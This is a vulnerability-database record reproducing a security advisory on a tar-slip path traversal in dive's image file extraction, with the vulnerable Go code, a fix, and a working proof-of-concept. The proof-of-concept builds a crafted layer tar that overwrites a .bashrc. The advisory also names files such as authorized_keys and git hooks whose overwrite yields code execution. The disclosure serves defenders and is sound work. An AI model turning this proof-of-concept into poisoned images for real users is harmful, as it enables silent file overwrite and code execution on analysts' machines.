Search

Find a vulnerability

Search criteria

    1 vulnerability found for dive tar-slip in by unknown

    GCVE-1988-2026-0415

    Vulnerability from gna-1988 – Published: 2026-10-02 04:57 – Updated: 2026-10-02 04:57
    VLAI
    Title
    dive tar-slip in image file extraction
    Summary
    # dive tar-slip in image file extraction **Author:** Khashayar Fereidani **Disclosure Date:** 2026-09-24 **Advisory:** https://fereidani.com/dive-tar-slip-in-image-file-extraction **Contact:** https://fereidani.com/contact ## Description dive is a terminal UI for exploring Docker image layers, and inspecting images pulled from public registries is its main use case. The filetree view has an extract action (the default keybinding is `ctrl+e`, `cmd/dive/cli/internal/ui/v1/key/config.go:97`) that writes the selected file from the image layer into the working directory. The call chain is `onFileTreeViewExtract` (`cmd/dive/cli/internal/ui/v1/app/controller.go:62`) -> `engineResolver.Extract` (`dive/image/docker/engine_resolver.go:56`) -> `ExtractFromImage` (`dive/image/docker/image_archive.go:303`) -> `extractInner` (`dive/image/docker/image_archive.go:337`): ```go func extractInner(reader *tar.Reader, p string) error { target := strings.TrimPrefix(p, "/") for { header, err := reader.Next() if err == io.EOF { break } if err != nil { fmt.Println(err) os.Exit(1) } name := header.Name switch header.Typeflag { case tar.TypeReg: if strings.HasPrefix(name, target) { err := os.MkdirAll(filepath.Dir(name), 0755) if err != nil { return err } out, err := os.Create(name) if err != nil { return err } _, err = io.Copy(out, reader) if err != nil { return err } } default: continue } } return nil } ``` `header.Name` comes from the layer being inspected, so the attacker fully controls it. The only validation is `strings.HasPrefix(name, target)`, a string prefix check rather than a path check: it offers no containment at all. A name like `etc/motd-x/../../../.bashrc` passes the check for a selected `etc/motd`, and `os.Create(name)` then resolves the raw name relative to the directory dive was started in. There is no `filepath.Clean`, no rejection of `..`, no containment root, no symlink check and no size cap. The same string-prefix property lets an attacker prepare the path for the escape in two steps. Because `filepath.Dir` cleans `..` segments away, `os.MkdirAll` never creates the intermediate directory that a single escape entry needs to walk through. But any earlier entry whose name still starts with the selected path creates it: an entry named `etc/motd-x/keep` makes `os.MkdirAll` create the directory `etc/motd-x`, and the next entry can then climb through it with `..`. Both entries pass the prefix check, and the attacker controls the order of entries in the layer. Reaching `extractInner` with crafted bytes is straightforward. The engine resolver saves the image with the Docker API (`ImageSave`, `dive/image/docker/engine_resolver.go:131`), which streams the original layer blobs as they were pushed to the registry, and dive even pulls the image itself when it is not available locally (`dive/image/docker/engine_resolver.go:121`). Nothing between the registry and `extractInner` rewrites entry names. ## Reproduction The loop above is self-contained, so the whole feature can be exercised without a registry or the UI. The program below copies `extractInner` verbatim from the current main branch, feeds it a crafted layer tar, and selects `/etc/motd`, exactly what dive does when ctrl+e is pressed on that file: ```go package main // extractInner copied verbatim from // dive/image/docker/image_archive.go:337 (main, 2026-09-24). import ( "archive/tar" "bytes" "fmt" "io" "os" "path/filepath" "strings" ) func extractInner(reader *tar.Reader, p string) error { target := strings.TrimPrefix(p, "/") for { header, err := reader.Next() if err == io.EOF { break } if err != nil { fmt.Println(err) os.Exit(1) } name := header.Name switch header.Typeflag { case tar.TypeReg: if strings.HasPrefix(name, target) { err := os.MkdirAll(filepath.Dir(name), 0755) if err != nil { return err } out, err := os.Create(name) if err != nil { return err } _, err = io.Copy(out, reader) if err != nil { return err } } default: continue } } return nil } func addFile(tw *tar.Writer, name, body string) { hdr := &tar.Header{Name: name, Mode: 0o644, Size: int64(len(body)), Typeflag: tar.TypeReg} _ = tw.WriteHeader(hdr) _, _ = tw.Write([]byte(body)) } func main() { var layer bytes.Buffer tw := tar.NewWriter(&layer) addFile(tw, "etc/motd", "welcome to the totally safe image\n") addFile(tw, "etc/motd-x/keep", "x\n") addFile(tw, "etc/motd-x/../../../.bashrc", "echo pwned\n") _ = tw.Close() err := extractInner(tar.NewReader(&layer), "/etc/motd") fmt.Println("extractInner returned:", err) } ``` Run it from a directory that stands in for the analyst's project directory, with a `.bashrc` one level above: ```sh mkdir -p home/victim/project echo "alias ll='ls -l'" > home/victim/.bashrc cd home/victim/project && go run main.go ``` Observed result: ```text extractInner returned: <nil> ``` ```text $ find home -type f | sort home/victim/.bashrc # was: alias ll='ls -l' home/victim/project/etc/motd home/victim/project/etc/motd-x/keep $ cat home/victim/.bashrc echo pwned ``` The selected file lands in the working directory as expected, and the escape entry silently overwrites the `.bashrc` one level above it. `extractInner` returns nil, so the UI reports a successful extract. End to end, the same layer is delivered by publishing an image whose layer blob contains the three entries above (any registry accepts the blob as-is), and waiting for an analyst to run `dive` on the image and extract a file. ## Impact Arbitrary file write with the analyst's privileges, at any path that is reachable through `..` from the directory dive runs in, usually the home or project directory. High-value targets include shell startup files such as `~/.bashrc` and `~/.profile`, `~/.ssh/authorized_keys`, `.git/hooks` in the current repository, and desktop autostart entries, which turn the write into code execution at the next shell or login. The write is silent: extraction succeeds and the extra entries leave no error behind. The precondition is that the analyst selects a file in the crafted image and presses the extract keybinding, which is why this is rated medium rather than high. That action is exactly what the feature is for: an analyst who opens a suspicious image to look at a credentials file or a config file has every reason to extract it for a closer look, and the layer content is fully attacker-controlled. ## Solution Treat every entry name as hostile and extract through a containment root. The check belongs on the cleaned, joined path, not on the raw string: ```go dest := filepath.Join(destinationDir, filepath.Clean("/"+header.Name)) if dest != filepath.Join(destinationDir, target) { continue // extraction is for the selected file only } ``` Joining against `/`+name first makes `filepath.Clean` drop any leading `..` or drive-letter tricks, and the equality check then reduces the write to the one selected file inside `destinationDir`. Creating the file with `os.OpenFile(dest, os.O_WRONLY|os.O_CREATE|os.O_EXCL, 0o644)` also stops the extract from overwriting existing files or following a symlink planted earlier in the same layer. This is the standard guard for the tar-slip class, the tar variant of Zip Slip, which every archive extractor that writes to disk needs. Until a fix lands, do not use the extract keybinding on images from unknown sources, and if it must be used, run dive from an empty directory (or from inside a container) so that `..` has nowhere interesting to climb to. ## Timeline - 2026-09-24: Reported publicly as wagoodman/dive#722, found while scanning popular repositories with my static analyzer. The repository has seen no commits since 2025-12-15, so no private disclosure attempt seemed useful; dive 0.13.1 and the current main branch are affected. ## References - [wagoodman/dive#722 - tar-slip in image layer file extraction](https://github.com/wagoodman/dive/issues/722) - [wagoodman/dive - dive/image/docker/image_archive.go](https://github.com/wagoodman/dive/blob/main/dive/image/docker/image_archive.go) - [Snyk - Zip Slip vulnerability research](https://snyk.io/research/zip-slip-vulnerability) - [CWE-22: Improper Limitation of a Pathname to a Restricted Directory](https://cwe.mitre.org/data/definitions/22.html) - [CWE-59: Improper Link Resolution Before File Access](https://cwe.mitre.org/data/definitions/59.html) _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
    Severity
    No CVSS data available.
    Assigner
    VULNARCHIVE GNA GNA-1988
    GNA scorecard E 38/100 over 445 records in the last 180 days details
    Impacted products
    Vendor Product Version
    unknown dive tar-slip in Affected: unknown
    Create a notification for this product.

    {
      "containers": {
        "cna": {
          "affected": [
            {
              "product": "dive tar-slip in",
              "vendor": "unknown",
              "versions": [
                {
                  "status": "affected",
                  "version": "unknown"
                }
              ]
            }
          ],
          "credits": [
            {
              "lang": "en",
              "type": "finder",
              "value": "Khashayar Fereidani"
            }
          ],
          "descriptions": [
            {
              "lang": "en",
              "value": "# dive tar-slip in image file extraction\n\n**Author:** Khashayar Fereidani\n**Disclosure Date:** 2026-09-24\n**Advisory:** https://fereidani.com/dive-tar-slip-in-image-file-extraction\n**Contact:** https://fereidani.com/contact\n\n## Description\n\ndive is a terminal UI for exploring Docker image layers, and inspecting images\npulled from public registries is its main use case. The filetree view has an\nextract action (the default keybinding is `ctrl+e`,\n`cmd/dive/cli/internal/ui/v1/key/config.go:97`) that writes the selected file\nfrom the image layer into the working directory. The call chain is\n`onFileTreeViewExtract` (`cmd/dive/cli/internal/ui/v1/app/controller.go:62`)\n-\u003e `engineResolver.Extract`\n(`dive/image/docker/engine_resolver.go:56`) -\u003e `ExtractFromImage`\n(`dive/image/docker/image_archive.go:303`) -\u003e `extractInner`\n(`dive/image/docker/image_archive.go:337`):\n\n```go\nfunc extractInner(reader *tar.Reader, p string) error {\ntarget := strings.TrimPrefix(p, \"/\")\n\nfor {\nheader, err := reader.Next()\n\nif err == io.EOF {\nbreak\n}\n\nif err != nil {\nfmt.Println(err)\nos.Exit(1)\n}\n\nname := header.Name\n\nswitch header.Typeflag {\ncase tar.TypeReg:\nif strings.HasPrefix(name, target) {\nerr := os.MkdirAll(filepath.Dir(name), 0755)\nif err != nil {\nreturn err\n}\n\nout, err := os.Create(name)\nif err != nil {\nreturn err\n}\n\n_, err = io.Copy(out, reader)\nif err != nil {\nreturn err\n}\n}\ndefault:\ncontinue\n}\n}\n\nreturn nil\n}\n```\n\n`header.Name` comes from the layer being inspected, so the attacker fully\ncontrols it. The only validation is `strings.HasPrefix(name, target)`, a\nstring prefix check rather than a path check: it offers no containment at all.\nA name like `etc/motd-x/../../../.bashrc` passes the check for a selected\n`etc/motd`, and `os.Create(name)` then resolves the raw name relative to the\ndirectory dive was started in. There is no `filepath.Clean`, no rejection of\n`..`, no containment root, no symlink check and no size cap.\n\nThe same string-prefix property lets an attacker prepare the path for the\nescape in two steps. Because `filepath.Dir` cleans `..` segments away,\n`os.MkdirAll` never creates the intermediate directory that a single escape\nentry needs to walk through. But any earlier entry whose name still starts\nwith the selected path creates it: an entry named `etc/motd-x/keep` makes\n`os.MkdirAll` create the directory `etc/motd-x`, and the next entry can then\nclimb through it with `..`. Both entries pass the prefix check, and the\nattacker controls the order of entries in the layer.\n\nReaching `extractInner` with crafted bytes is straightforward. The engine\nresolver saves the image with the Docker API (`ImageSave`,\n`dive/image/docker/engine_resolver.go:131`), which streams the original layer\nblobs as they were pushed to the registry, and dive even pulls the image\nitself when it is not available locally\n(`dive/image/docker/engine_resolver.go:121`). Nothing between the registry\nand `extractInner` rewrites entry names.\n\n## Reproduction\n\nThe loop above is self-contained, so the whole feature can be exercised\nwithout a registry or the UI. The program below copies `extractInner`\nverbatim from the current main branch, feeds it a crafted layer tar, and\nselects `/etc/motd`, exactly what dive does when ctrl+e is pressed on that\nfile:\n\n```go\npackage main\n\n// extractInner copied verbatim from\n// dive/image/docker/image_archive.go:337 (main, 2026-09-24).\nimport (\n\"archive/tar\"\n\"bytes\"\n\"fmt\"\n\"io\"\n\"os\"\n\"path/filepath\"\n\"strings\"\n)\n\nfunc extractInner(reader *tar.Reader, p string) error {\ntarget := strings.TrimPrefix(p, \"/\")\nfor {\nheader, err := reader.Next()\nif err == io.EOF {\nbreak\n}\nif err != nil {\nfmt.Println(err)\nos.Exit(1)\n}\nname := header.Name\nswitch header.Typeflag {\ncase tar.TypeReg:\nif strings.HasPrefix(name, target) {\nerr := os.MkdirAll(filepath.Dir(name), 0755)\nif err != nil {\nreturn err\n}\nout, err := os.Create(name)\nif err != nil {\nreturn err\n}\n_, err = io.Copy(out, reader)\nif err != nil {\nreturn err\n}\n}\ndefault:\ncontinue\n}\n}\nreturn nil\n}\n\nfunc addFile(tw *tar.Writer, name, body string) {\nhdr := \u0026tar.Header{Name: name, Mode: 0o644, Size: int64(len(body)),\nTypeflag: tar.TypeReg}\n_ = tw.WriteHeader(hdr)\n_, _ = tw.Write([]byte(body))\n}\n\nfunc main() {\nvar layer bytes.Buffer\ntw := tar.NewWriter(\u0026layer)\naddFile(tw, \"etc/motd\", \"welcome to the totally safe image\\n\")\naddFile(tw, \"etc/motd-x/keep\", \"x\\n\")\naddFile(tw, \"etc/motd-x/../../../.bashrc\", \"echo pwned\\n\")\n_ = tw.Close()\n\nerr := extractInner(tar.NewReader(\u0026layer), \"/etc/motd\")\nfmt.Println(\"extractInner returned:\", err)\n}\n```\n\nRun it from a directory that stands in for the analyst\u0027s project directory,\nwith a `.bashrc` one level above:\n\n```sh\nmkdir -p home/victim/project\necho \"alias ll=\u0027ls -l\u0027\" \u003e home/victim/.bashrc\ncd home/victim/project \u0026\u0026 go run main.go\n```\n\nObserved result:\n\n```text\nextractInner returned: \u003cnil\u003e\n```\n\n```text\n$ find home -type f | sort\nhome/victim/.bashrc          # was: alias ll=\u0027ls -l\u0027\nhome/victim/project/etc/motd\nhome/victim/project/etc/motd-x/keep\n\n$ cat home/victim/.bashrc\necho pwned\n```\n\nThe selected file lands in the working directory as expected, and the escape\nentry silently overwrites the `.bashrc` one level above it. `extractInner`\nreturns nil, so the UI reports a successful extract.\n\nEnd to end, the same layer is delivered by publishing an image whose layer\nblob contains the three entries above (any registry accepts the blob as-is),\nand waiting for an analyst to run `dive` on the image and extract a file.\n\n## Impact\n\nArbitrary file write with the analyst\u0027s privileges, at any path that is\nreachable through `..` from the directory dive runs in, usually the home or\nproject directory. High-value targets include shell startup files such as\n`~/.bashrc` and `~/.profile`, `~/.ssh/authorized_keys`, `.git/hooks` in the\ncurrent repository, and desktop autostart entries, which turn the write into\ncode execution at the next shell or login. The write is silent: extraction\nsucceeds and the extra entries leave no error behind.\n\nThe precondition is that the analyst selects a file in the crafted image and\npresses the extract keybinding, which is why this is rated medium rather than\nhigh. That action is exactly what the feature is for: an analyst who opens a\nsuspicious image to look at a credentials file or a config file has every\nreason to extract it for a closer look, and the layer content is fully\nattacker-controlled.\n\n## Solution\n\nTreat every entry name as hostile and extract through a containment root.\nThe check belongs on the cleaned, joined path, not on the raw string:\n\n```go\ndest := filepath.Join(destinationDir, filepath.Clean(\"/\"+header.Name))\nif dest != filepath.Join(destinationDir, target) {\ncontinue // extraction is for the selected file only\n}\n```\n\nJoining against `/`+name first makes `filepath.Clean` drop any leading `..`\nor drive-letter tricks, and the equality check then reduces the write to the\none selected file inside `destinationDir`. Creating the file with\n`os.OpenFile(dest, os.O_WRONLY|os.O_CREATE|os.O_EXCL, 0o644)` also stops the\nextract from overwriting existing files or following a symlink planted\nearlier in the same layer. This is the standard guard for the tar-slip class,\nthe tar variant of Zip Slip, which every archive extractor that writes to\ndisk needs.\n\nUntil a fix lands, do not use the extract keybinding on images from unknown\nsources, and if it must be used, run dive from an empty directory (or from\ninside a container) so that `..` has nowhere interesting to climb to.\n\n## Timeline\n\n- 2026-09-24: Reported publicly as wagoodman/dive#722, found while scanning\n  popular repositories with my static analyzer. The repository has seen no\n  commits since 2025-12-15, so no private disclosure attempt seemed useful;\n  dive 0.13.1 and the current main branch are affected.\n\n## References\n\n- [wagoodman/dive#722 - tar-slip in image layer file\nextraction](https://github.com/wagoodman/dive/issues/722)\n- [wagoodman/dive -\ndive/image/docker/image_archive.go](https://github.com/wagoodman/dive/blob/main/dive/image/docker/image_archive.go)\n- [Snyk - Zip Slip vulnerability\nresearch](https://snyk.io/research/zip-slip-vulnerability)\n- [CWE-22: Improper Limitation of a Pathname to a Restricted\nDirectory](https://cwe.mitre.org/data/definitions/22.html)\n- [CWE-59: Improper Link Resolution Before File\nAccess](https://cwe.mitre.org/data/definitions/59.html)\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-22",
                  "description": "CWE-22",
                  "lang": "en",
                  "type": "CWE"
                },
                {
                  "cweId": "CWE-59",
                  "description": "CWE-59",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-10-02T04:57:32Z",
            "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
            "shortName": "VULNARCHIVE"
          },
          "references": [
            {
              "tags": [
                "technical-description"
              ],
              "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/81"
            },
            {
              "tags": [
                "technical-description"
              ],
              "url": "https://seclists.org/fulldisclosure/2026/Sep/81"
            },
            {
              "url": "https://cwe.mitre.org/data/definitions/22.html"
            },
            {
              "url": "https://cwe.mitre.org/data/definitions/59.html"
            },
            {
              "url": "https://fereidani.com/contact"
            },
            {
              "url": "https://fereidani.com/dive-tar-slip-in-image-file-extraction"
            },
            {
              "url": "https://github.com/wagoodman/dive/blob/main/dive/image/docker/image_archive.go"
            },
            {
              "url": "https://github.com/wagoodman/dive/issues/722"
            },
            {
              "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
            },
            {
              "url": "https://seclists.org/fulldisclosure/"
            },
            {
              "url": "https://snyk.io/research/zip-slip-vulnerability"
            }
          ],
          "source": {
            "defect": [
              "https://seclists.org/fulldisclosure/2026/Sep/81"
            ],
            "discovery": "EXTERNAL"
          },
          "title": "dive tar-slip in image file extraction",
          "x_gcve": [
            {
              "recordType": "advisory",
              "relationships": [],
              "vulnId": "GCVE-1988-2026-0415",
              "x_vulnarchive": {
                "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/81",
                "automated": true,
                "contentSha256": "6abfa560810db09d89cd76e3a010e20b4d8e8d790daac9f2480c66bfd9025dfb",
                "evidenceScore": 8,
                "messageId": "",
                "originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/81",
                "policy": "vulnarchive-1",
                "sourceFormat": "text/html",
                "sourcePublishedAt": "2026-09-24T02:58:19Z"
              }
            }
          ]
        }
      },
      "cveMetadata": {
        "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "assignerShortName": "VULNARCHIVE",
        "datePublished": "2026-10-02T04:57:32Z",
        "dateUpdated": "2026-10-02T04:57:32Z",
        "state": "PUBLISHED",
        "vulnId": "GCVE-1988-2026-0415"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }